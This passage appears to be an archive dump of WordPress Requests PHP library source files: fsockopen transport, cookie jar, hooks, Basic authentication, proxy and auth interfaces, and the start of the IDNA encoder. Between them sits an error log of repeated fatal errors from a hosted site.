	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data parameter is not an array or string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 * @throws \WpOrg\Requests\Exception       On failure to connect to socket (`fsockopenerror`)
	 * @throws \WpOrg\Requests\Exception       On socket timeout (`timeout`)
	 */
	public function request($url, $headers = [], $data = [], $options = []) {
		if (InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
		}

		if (is_array($headers) === false) {
			throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
		}

		if (!is_array($data) && !is_string($data)) {
			if ($data === null) {
				$data = '';
			} else {
				throw InvalidArgument::create(3, '$data', 'array|string', gettype($data));
			}
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(4, '$options', 'array', gettype($options));
		}

		$options['hooks']->dispatch('fsockopen.before_request');

		$url_parts = parse_url($url);
		if (empty($url_parts)) {
			throw new Exception('Invalid URL.', 'invalidurl', $url);
		}

		$host                     = $url_parts['host'];
		$context                  = stream_context_create();
		$verifyname               = false;
		$case_insensitive_headers = new CaseInsensitiveDictionary($headers);

		// HTTPS support
		if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') {
			$remote_socket = 'ssl://' . $host;
			if (!isset($url_parts['port'])) {
				$url_parts['port'] = Port::HTTPS;
			}

			$context_options = [
				'verify_peer'       => true,
				'capture_peer_cert' => true,
			];
			$verifyname      = true;

			// SNI, if enabled (OpenSSL >=0.9.8j)
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.openssl_tlsext_server_nameFound
			if (defined('OPENSSL_TLSEXT_SERVER_NAME') && OPENSSL_TLSEXT_SERVER_NAME) {
				$context_options['SNI_enabled'] = true;
				if (isset($options['verifyname']) && $options['verifyname'] === false) {
					$context_options['SNI_enabled'] = false;
				}
			}

			if (isset($options['verify'])) {
				if ($options['verify'] === false) {
					$context_options['verify_peer']      = false;
					$context_options['verify_peer_name'] = false;
					$verifyname                          = false;
				} elseif (is_string($options['verify'])) {
					$context_options['cafile'] = $options['verify'];
				}
			}

			if (isset($options['verifyname']) && $options['verifyname'] === false) {
				$context_options['verify_peer_name'] = false;
				$verifyname                          = false;
			}

			// Handle the PHP 8.4 deprecation (PHP 9.0 removal) of the function signature we use for stream_context_set_option().
			// Ref: https://wiki.php.net/rfc/deprecate_functions_with_overloaded_signatures#stream_context_set_option
			if (function_exists('stream_context_set_options')) {
				// PHP 8.3+.
				stream_context_set_options($context, ['ssl' => $context_options]);
			} else {
				// PHP < 8.3.
				stream_context_set_option($context, ['ssl' => $context_options]);
			}
		} else {
			$remote_socket = 'tcp://' . $host;
		}

		$this->max_bytes = $options['max_bytes'];

		if (!isset($url_parts['port'])) {
			$url_parts['port'] = Port::HTTP;
		}

		$remote_socket .= ':' . $url_parts['port'];

		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_set_error_handler
		set_error_handler([$this, 'connect_error_handler'], E_WARNING | E_NOTICE);

		$options['hooks']->dispatch('fsockopen.remote_socket', [&$remote_socket]);

		$socket = stream_socket_client($remote_socket, $errno, $errstr, ceil($options['connect_timeout']), STREAM_CLIENT_CONNECT, $context);

		restore_error_handler();

		if ($verifyname && !$this->verify_certificate_from_context($host, $context)) {
			throw new Exception('SSL certificate did not match the requested domain name', 'ssl.no_match');
		}

		if (!$socket) {
			if ($errno === 0) {
				// Connection issue
				throw new Exception(rtrim($this->connect_error), 'fsockopen.connect_error');
			}

			throw new Exception($errstr, 'fsockopenerror', null, $errno);
		}

		$data_format = $options['data_format'];

		if ($data_format === 'query') {
			$path = self::format_get($url_parts, $data);
			$data = '';
		} else {
			$path = self::format_get($url_parts, []);
		}

		$options['hooks']->dispatch('fsockopen.remote_host_path', [&$path, $url]);

		$request_body = '';
		$out          = sprintf("%s %s HTTP/%.1F\r\n", $options['type'], $path, $options['protocol_version']);

		if ($options['type'] !== Requests::TRACE) {
			if (is_array($data)) {
				$request_body = http_build_query($data, '', '&');
			} else {
				$request_body = $data;
			}

			// Always include Content-length on POST requests to prevent
			// 411 errors from some servers when the body is empty.
			if (!empty($data) || $options['type'] === Requests::POST) {
				if (!isset($case_insensitive_headers['Content-Length'])) {
					$headers['Content-Length'] = strlen($request_body);
				}

				if (!isset($case_insensitive_headers['Content-Type'])) {
					$headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8';
				}
			}
		}

		if (!isset($case_insensitive_headers['Host'])) {
			$out         .= sprintf('Host: %s', $url_parts['host']);
			$scheme_lower = strtolower($url_parts['scheme']);

			if (($scheme_lower === 'http' && $url_parts['port'] !== Port::HTTP) || ($scheme_lower === 'https' && $url_parts['port'] !== Port::HTTPS)) {
				$out .= ':' . $url_parts['port'];
			}

			$out .= "\r\n";
		}

		if (!isset($case_insensitive_headers['User-Agent'])) {
			$out .= sprintf("User-Agent: %s\r\n", $options['useragent']);
		}

		$accept_encoding = $this->accept_encoding();
		if (!isset($case_insensitive_headers['Accept-Encoding']) && !empty($accept_encoding)) {
			$out .= sprintf("Accept-Encoding: %s\r\n", $accept_encoding);
		}

		$headers = Requests::flatten($headers);

		if (!empty($headers)) {
			$out .= implode("\r\n", $headers) . "\r\n";
		}

		$options['hooks']->dispatch('fsockopen.after_headers', [&$out]);

		if (substr($out, -2) !== "\r\n") {
			$out .= "\r\n";
		}

		if (!isset($case_insensitive_headers['Connection'])) {
			$out .= "Connection: Close\r\n";
		}

		$out .= "\r\n" . $request_body;

		$options['hooks']->dispatch('fsockopen.before_send', [&$out]);

		fwrite($socket, $out);
		$options['hooks']->dispatch('fsockopen.after_send', [$out]);

		if (!$options['blocking']) {
			fclose($socket);
			$fake_headers = '';
			$options['hooks']->dispatch('fsockopen.after_request', [&$fake_headers]);
			return '';
		}

		$timeout_sec = (int) floor($options['timeout']);
		if ($timeout_sec === $options['timeout']) {
			$timeout_msec = 0;
		} else {
			$timeout_msec = self::SECOND_IN_MICROSECONDS * $options['timeout'] % self::SECOND_IN_MICROSECONDS;
		}

		stream_set_timeout($socket, $timeout_sec, $timeout_msec);

		$response   = '';
		$body       = '';
		$headers    = '';
		$this->info = stream_get_meta_data($socket);
		$size       = 0;
		$doingbody  = false;
		$download   = false;
		if ($options['filename']) {
			// phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception.
			$download = @fopen($options['filename'], 'wb');
			if ($download === false) {
				$error = error_get_last();
				throw new Exception($error['message'], 'fopen');
			}
		}

		while (!feof($socket)) {
			$this->info = stream_get_meta_data($socket);
			if ($this->info['timed_out']) {
				throw new Exception('fsocket timed out', 'timeout');
			}

			$block = fread($socket, Requests::BUFFER_SIZE);
			if (!$doingbody) {
				$response .= $block;
				if (strpos($response, "\r\n\r\n")) {
					list($headers, $block) = explode("\r\n\r\n", $response, 2);
					$doingbody             = true;
				}
			}

			// Are we in body mode now?
			if ($doingbody) {
				$options['hooks']->dispatch('request.progress', [$block, $size, $this->max_bytes]);
				$data_length = strlen($block);
				if ($this->max_bytes) {
					// Have we already hit a limit?
					if ($size === $this->max_bytes) {
						continue;
					}

					if (($size + $data_length) > $this->max_bytes) {
						// Limit the length
						$limited_length = ($this->max_bytes - $size);
						$block          = substr($block, 0, $limited_length);
					}
				}

				$size += strlen($block);
				if ($download) {
					fwrite($download, $block);
				} else {
					$body .= $block;
				}
			}
		}

		$this->headers = $headers;

		if ($download) {
			fclose($download);
		} else {
			$this->headers .= "\r\n\r\n" . $body;
		}

		fclose($socket);

		$options['hooks']->dispatch('fsockopen.after_request', [&$this->headers, &$this->info]);
		return $this->headers;
	}

	/**
	 * Send multiple requests simultaneously
	 *
	 * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see \WpOrg\Requests\Transport::request()}
	 * @param array $options Global options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function request_multiple($requests, $options) {
		// If you're not requesting, we can't get any responses ¯\_(ツ)_/¯
		if (empty($requests)) {
			return [];
		}

		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		$responses = [];
		$class     = get_class($this);
		foreach ($requests as $id => $request) {
			try {
				$handler        = new $class();
				$responses[$id] = $handler->request($request['url'], $request['headers'], $request['data'], $request['options']);

				$request['options']['hooks']->dispatch('transport.internal.parse_response', [&$responses[$id], $request]);
			} catch (Exception $e) {
				$responses[$id] = $e;
			}

			if (!is_string($responses[$id])) {
				$request['options']['hooks']->dispatch('multiple.request.complete', [&$responses[$id], $id]);
			}
		}

		return $responses;
	}

	/**
	 * Retrieve the encodings we can accept
	 *
	 * @return string Accept-Encoding header value
	 */
	private static function accept_encoding() {
		$type = [];
		if (function_exists('gzinflate')) {
			$type[] = 'deflate;q=1.0';
		}

		if (function_exists('gzuncompress')) {
			$type[] = 'compress;q=0.5';
		}

		$type[] = 'gzip;q=0.5';

		return implode(', ', $type);
	}

	/**
	 * Format a URL given GET data
	 *
	 * @param array        $url_parts Array of URL parts as received from {@link https://www.php.net/parse_url}
	 * @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query}
	 * @return string URL with data
	 */
	private static function format_get($url_parts, $data) {
		if (!empty($data)) {
			if (empty($url_parts['query'])) {
				$url_parts['query'] = '';
			}

			$url_parts['query'] .= '&' . http_build_query($data, '', '&');
			$url_parts['query']  = trim($url_parts['query'], '&');
		}

		if (isset($url_parts['path'])) {
			if (isset($url_parts['query'])) {
				$get = $url_parts['path'] . '?' . $url_parts['query'];
			} else {
				$get = $url_parts['path'];
			}
		} else {
			$get = '/';
		}

		return $get;
	}

	/**
	 * Error handler for stream_socket_client()
	 *
	 * @param int $errno Error number (e.g. E_WARNING)
	 * @param string $errstr Error message
	 */
	public function connect_error_handler($errno, $errstr) {
		// Double-check we can handle it
		if (($errno & E_WARNING) === 0 && ($errno & E_NOTICE) === 0) {
			// Return false to indicate the default error handler should engage
			return false;
		}

		$this->connect_error .= $errstr . "\n";
		return true;
	}

	/**
	 * Verify the certificate against common name and subject alternative names
	 *
	 * Unfortunately, PHP doesn't check the certificate against the alternative
	 * names, leading things like 'https://www.github.com/' to be invalid.
	 * Instead
	 *
	 * @link https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1
	 *
	 * @param string $host Host name to verify against
	 * @param resource $context Stream context
	 * @return bool
	 *
	 * @throws \WpOrg\Requests\Exception On failure to connect via TLS (`fsockopen.ssl.connect_error`)
	 * @throws \WpOrg\Requests\Exception On not obtaining a match for the host (`fsockopen.ssl.no_match`)
	 */
	public function verify_certificate_from_context($host, $context) {
		$meta = stream_context_get_options($context);

		// If we don't have SSL options, then we couldn't make the connection at
		// all
		if (empty($meta) || empty($meta['ssl']) || empty($meta['ssl']['peer_certificate'])) {
			throw new Exception(rtrim($this->connect_error), 'ssl.connect_error');
		}

		$cert = openssl_x509_parse($meta['ssl']['peer_certificate']);

		return Ssl::verify_certificate($host, $cert);
	}

	/**
	 * Self-test whether the transport can be used.
	 *
	 * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}.
	 *
	 * @codeCoverageIgnore
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport can be used.
	 */
	public static function test($capabilities = []) {
		if (!function_exists('fsockopen')) {
			return false;
		}

		// If needed, check that streams support SSL
		if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) {
			if (!extension_loaded('openssl') || !function_exists('openssl_x509_parse')) {
				return false;
			}
		}

		return true;
	}
}
Cookie/Jar.php000064400000010413151024327070007202 0ustar00<?php
/**
 * Cookie holder object
 *
 * @package Requests\Cookies
 */

namespace WpOrg\Requests\Cookie;

use ArrayAccess;
use ArrayIterator;
use IteratorAggregate;
use ReturnTypeWillChange;
use WpOrg\Requests\Cookie;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\HookManager;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Response;

/**
 * Cookie holder object
 *
 * @package Requests\Cookies
 */
class Jar implements ArrayAccess, IteratorAggregate {
	/**
	 * Actual item data
	 *
	 * @var array
	 */
	protected $cookies = [];

	/**
	 * Create a new jar
	 *
	 * @param array $cookies Existing cookie values
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array.
	 */
	public function __construct($cookies = []) {
		if (is_array($cookies) === false) {
			throw InvalidArgument::create(1, '$cookies', 'array', gettype($cookies));
		}

		$this->cookies = $cookies;
	}

	/**
	 * Normalise cookie data into a \WpOrg\Requests\Cookie
	 *
	 * @param string|\WpOrg\Requests\Cookie $cookie Cookie header value, possibly pre-parsed (object).
	 * @param string                        $key    Optional. The name for this cookie.
	 * @return \WpOrg\Requests\Cookie
	 */
	public function normalize_cookie($cookie, $key = '') {
		if ($cookie instanceof Cookie) {
			return $cookie;
		}

		return Cookie::parse($cookie, $key);
	}

	/**
	 * Check if the given item exists
	 *
	 * @param string $offset Item key
	 * @return boolean Does the item exist?
	 */
	#[ReturnTypeWillChange]
	public function offsetExists($offset) {
		return isset($this->cookies[$offset]);
	}

	/**
	 * Get the value for the item
	 *
	 * @param string $offset Item key
	 * @return string|null Item value (null if offsetExists is false)
	 */
	#[ReturnTypeWillChange]
	public function offsetGet($offset) {
		if (!isset($this->cookies[$offset])) {
			return null;
		}

		return $this->cookies[$offset];
	}

	/**
	 * Set the given item
	 *
	 * @param string $offset Item name
	 * @param string $value Item value
	 *
	 * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
	 */
	#[ReturnTypeWillChange]
	public function offsetSet($offset, $value) {
		if ($offset === null) {
			throw new Exception('Object is a dictionary, not a list', 'invalidset');
		}

		$this->cookies[$offset] = $value;
	}

	/**
	 * Unset the given header
	 *
	 * @param string $offset The key for the item to unset.
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset($offset) {
		unset($this->cookies[$offset]);
	}

	/**
	 * Get an iterator for the data
	 *
	 * @return \ArrayIterator
	 */
	#[ReturnTypeWillChange]
	public function getIterator() {
		return new ArrayIterator($this->cookies);
	}

	/**
	 * Register the cookie handler with the request's hooking system
	 *
	 * @param \WpOrg\Requests\HookManager $hooks Hooking system
	 */
	public function register(HookManager $hooks) {
		$hooks->register('requests.before_request', [$this, 'before_request']);
		$hooks->register('requests.before_redirect_check', [$this, 'before_redirect_check']);
	}

	/**
	 * Add Cookie header to a request if we have any
	 *
	 * As per RFC 6265, cookies are separated by '; '
	 *
	 * @param string $url
	 * @param array $headers
	 * @param array $data
	 * @param string $type
	 * @param array $options
	 */
	public function before_request($url, &$headers, &$data, &$type, &$options) {
		if (!$url instanceof Iri) {
			$url = new Iri($url);
		}

		if (!empty($this->cookies)) {
			$cookies = [];
			foreach ($this->cookies as $key => $cookie) {
				$cookie = $this->normalize_cookie($cookie, $key);

				// Skip expired cookies
				if ($cookie->is_expired()) {
					continue;
				}

				if ($cookie->domain_matches($url->host)) {
					$cookies[] = $cookie->format_for_header();
				}
			}

			$headers['Cookie'] = implode('; ', $cookies);
		}
	}

	/**
	 * Parse all cookies from a response and attach them to the response
	 *
	 * @param \WpOrg\Requests\Response $response Response as received.
	 */
	public function before_redirect_check(Response $response) {
		$url = $response->url;
		if (!$url instanceof Iri) {
			$url = new Iri($url);
		}

		$cookies           = Cookie::parse_from_headers($response->headers, $url);
		$this->cookies     = array_merge($this->cookies, $cookies);
		$response->cookies = $this;
	}
}
Proxy.php000064400000001543151024327070006402 0ustar00<?php
/**
 * Proxy connection interface
 *
 * @package Requests\Proxy
 * @since   1.6
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Hooks;

/**
 * Proxy connection interface
 *
 * Implement this interface to handle proxy settings and authentication
 *
 * Parameters should be passed via the constructor where possible, as this
 * makes it much easier for users to use your provider.
 *
 * @see \WpOrg\Requests\Hooks
 *
 * @package Requests\Proxy
 * @since   1.6
 */
interface Proxy {
	/**
	 * Register hooks as needed
	 *
	 * This method is called in {@see \WpOrg\Requests\Requests::request()} when the user
	 * has set an instance as the 'auth' option. Use this callback to register all the
	 * hooks you'll need.
	 *
	 * @see \WpOrg\Requests\Hooks::register()
	 * @param \WpOrg\Requests\Hooks $hooks Hook system
	 */
	public function register(Hooks $hooks);
}
Hooks.php000064400000005730151024327070006346 0ustar00<?php
/**
 * Handles adding and dispatching events
 *
 * @package Requests\EventDispatcher
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\HookManager;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Handles adding and dispatching events
 *
 * @package Requests\EventDispatcher
 */
class Hooks implements HookManager {
	/**
	 * Registered callbacks for each hook
	 *
	 * @var array
	 */
	protected $hooks = [];

	/**
	 * Register a callback for a hook
	 *
	 * @param string $hook Hook name
	 * @param callable $callback Function/method to call on event
	 * @param int $priority Priority number. <0 is executed earlier, >0 is executed later
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $callback argument is not callable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $priority argument is not an integer.
	 */
	public function register($hook, $callback, $priority = 0) {
		if (is_string($hook) === false) {
			throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
		}

		if (is_callable($callback) === false) {
			throw InvalidArgument::create(2, '$callback', 'callable', gettype($callback));
		}

		if (InputValidator::is_numeric_array_key($priority) === false) {
			throw InvalidArgument::create(3, '$priority', 'integer', gettype($priority));
		}

		if (!isset($this->hooks[$hook])) {
			$this->hooks[$hook] = [
				$priority => [],
			];
		} elseif (!isset($this->hooks[$hook][$priority])) {
			$this->hooks[$hook][$priority] = [];
		}

		$this->hooks[$hook][$priority][] = $callback;
	}

	/**
	 * Dispatch a message
	 *
	 * @param string $hook Hook name
	 * @param array $parameters Parameters to pass to callbacks
	 * @return boolean Successfulness
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $parameters argument is not an array.
	 */
	public function dispatch($hook, $parameters = []) {
		if (is_string($hook) === false) {
			throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
		}

		// Check strictly against array, as Array* objects don't work in combination with `call_user_func_array()`.
		if (is_array($parameters) === false) {
			throw InvalidArgument::create(2, '$parameters', 'array', gettype($parameters));
		}

		if (empty($this->hooks[$hook])) {
			return false;
		}

		if (!empty($parameters)) {
			// Strip potential keys from the array to prevent them being interpreted as parameter names in PHP 8.0.
			$parameters = array_values($parameters);
		}

		ksort($this->hooks[$hook]);

		foreach ($this->hooks[$hook] as $priority => $hooked) {
			foreach ($hooked as $callback) {
				$callback(...$parameters);
			}
		}

		return true;
	}

	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
Auth/error_log000064400000007774151024327070007402 0ustar00[28-Oct-2025 14:10:57 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[29-Oct-2025 03:15:32 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[29-Oct-2025 03:19:40 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[29-Oct-2025 03:22:25 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[02-Nov-2025 05:59:35 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[02-Nov-2025 18:04:09 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[02-Nov-2025 18:24:37 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[03-Nov-2025 01:11:05 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[03-Nov-2025 15:09:23 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[03-Nov-2025 15:11:30 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[03-Nov-2025 15:23:32 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[04-Nov-2025 21:37:28 UTC] PHP Fatal error:  Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Auth/Basic.php on line 23
Auth/Basic.php000064400000004755151024327070007213 0ustar00<?php
/**
 * Basic Authentication provider
 *
 * @package Requests\Authentication
 */

namespace WpOrg\Requests\Auth;

use WpOrg\Requests\Auth;
use WpOrg\Requests\Exception\ArgumentCount;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Hooks;

/**
 * Basic Authentication provider
 *
 * Provides a handler for Basic HTTP authentication via the Authorization
 * header.
 *
 * @package Requests\Authentication
 */
class Basic implements Auth {
	/**
	 * Username
	 *
	 * @var string
	 */
	public $user;

	/**
	 * Password
	 *
	 * @var string
	 */
	public $pass;

	/**
	 * Constructor
	 *
	 * @since 2.0 Throws an `InvalidArgument` exception.
	 * @since 2.0 Throws an `ArgumentCount` exception instead of the Requests base `Exception.
	 *
	 * @param array|null $args Array of user and password. Must have exactly two elements
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array or null.
	 * @throws \WpOrg\Requests\Exception\ArgumentCount   On incorrect number of array elements (`authbasicbadargs`).
	 */
	public function __construct($args = null) {
		if (is_array($args)) {
			if (count($args) !== 2) {
				throw ArgumentCount::create('an array with exactly two elements', count($args), 'authbasicbadargs');
			}

			list($this->user, $this->pass) = $args;
			return;
		}

		if ($args !== null) {
			throw InvalidArgument::create(1, '$args', 'array|null', gettype($args));
		}
	}

	/**
	 * Register the necessary callbacks
	 *
	 * @see \WpOrg\Requests\Auth\Basic::curl_before_send()
	 * @see \WpOrg\Requests\Auth\Basic::fsockopen_header()
	 * @param \WpOrg\Requests\Hooks $hooks Hook system
	 */
	public function register(Hooks $hooks) {
		$hooks->register('curl.before_send', [$this, 'curl_before_send']);
		$hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']);
	}

	/**
	 * Set cURL parameters before the data is sent
	 *
	 * @param resource|\CurlHandle $handle cURL handle
	 */
	public function curl_before_send(&$handle) {
		curl_setopt($handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
		curl_setopt($handle, CURLOPT_USERPWD, $this->getAuthString());
	}

	/**
	 * Add extra headers to the request before sending
	 *
	 * @param string $out HTTP header string
	 */
	public function fsockopen_header(&$out) {
		$out .= sprintf("Authorization: Basic %s\r\n", base64_encode($this->getAuthString()));
	}

	/**
	 * Get the authentication string (user:pass)
	 *
	 * @return string
	 */
	public function getAuthString() {
		return $this->user . ':' . $this->pass;
	}
}
Auth.php000064400000001534151024327070006162 0ustar00<?php
/**
 * Authentication provider interface
 *
 * @package Requests\Authentication
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Hooks;

/**
 * Authentication provider interface
 *
 * Implement this interface to act as an authentication provider.
 *
 * Parameters should be passed via the constructor where possible, as this
 * makes it much easier for users to use your provider.
 *
 * @see \WpOrg\Requests\Hooks
 *
 * @package Requests\Authentication
 */
interface Auth {
	/**
	 * Register hooks as needed
	 *
	 * This method is called in {@see \WpOrg\Requests\Requests::request()} when the user
	 * has set an instance as the 'auth' option. Use this callback to register all the
	 * hooks you'll need.
	 *
	 * @see \WpOrg\Requests\Hooks::register()
	 * @param \WpOrg\Requests\Hooks $hooks Hook system
	 */
	public function register(Hooks $hooks);
}
IdnaEncoder.php000064400000030223151024327070007431 0ustar00<?php

namespace WpOrg\Requests;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * IDNA URL encoder
 *
 * Note: Not fully compliant, as nameprep does nothing yet.
 *
 * @package Requests\Utilities
 *
 * @link https://tools.ietf.org/html/rfc3490 IDNA specification
 * @link https://tools.ietf.org/html/rfc3492 Punycode/Bootstrap specification
 */
class IdnaEncoder {
	/**
	 * ACE prefix used for IDNA
	 *
	 * @link https://tools.ietf.org/html/rfc3490#section-5
	 * @var string
	 */
	const ACE_PREFIX = 'xn--';

	/**
	 * Maximum length of a IDNA URL in ASCII.
	 *
	 * @see \WpOrg\Requests\IdnaEncoder::to_ascii()
	 *
	 * @since 2.0.0
	 *
	 * @var int
	 */
	const MAX_LENGTH = 64;

	/**#@+
	 * Bootstrap constant for Punycode
	 *
	 * @link https://tools.ietf.org/html/rfc3492#section-5
	 * @var int
	 */
	const BOOTSTRAP_BASE         = 36;
	const BOOTSTRAP_TMIN         = 1;
	const BOOTSTRAP_TMAX         = 26;
	const BOOTSTRAP_SKEW         = 38;
	const BOOTSTRAP_DAMP         = 700;
	const BOOTSTRAP_INITIAL_BIAS = 72;
	const BOOTSTRAP_INITIAL_N    = 128;
	/**#@-*/

	/**
	 * Encode a hostname using Punycode
	 *
	 * @param string|Stringable $hostname Hostname
	 * @return string Punycode-encoded hostname
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object.
	 */
	public static function encode($hostname) {
		if (InputValidator::is_string_or_stringable($hostname) === false) {
			throw InvalidArgument::create(1, '$hostname', 'string|Stringable', gettype($hostname));
		}

		$parts = explode('.', $hostname);
		foreach ($parts as &$part) {
			$part = self::to_ascii($part);
		}

		return implode('.', $parts);
	}

	/**
	 * Convert a UTF-8 text string to an ASCII string using Punycode
	 *
	 * @param string $text ASCII or UTF-8 string (max length 64 characters)
	 * @return string ASCII string
	 *
	 * @throws \WpOrg\Requests\Exception Provided string longer than 64 ASCII characters (`idna.provided_too_long`)
	 * @throws \WpOrg\Requests\Exception Prepared string longer than 64 ASCII characters (`idna.prepared_too_long`)
	 * @throws \WpOrg\Requests\Exception Provided string already begins with xn-- (`idna.provided_is_prefixed`)
	 * @throws \WpOrg\Requests\Exception Encoded string longer than 64 ASCII characters (`idna.encoded_too_long`)
	 */
	public static function to_ascii($text) {
		// Step 1: Check if the text is already ASCII
		if (self::is_ascii($text)) {
			// Skip to step 7
			if (strlen($text) < self::MAX_LENGTH) {
				return $text;
			}

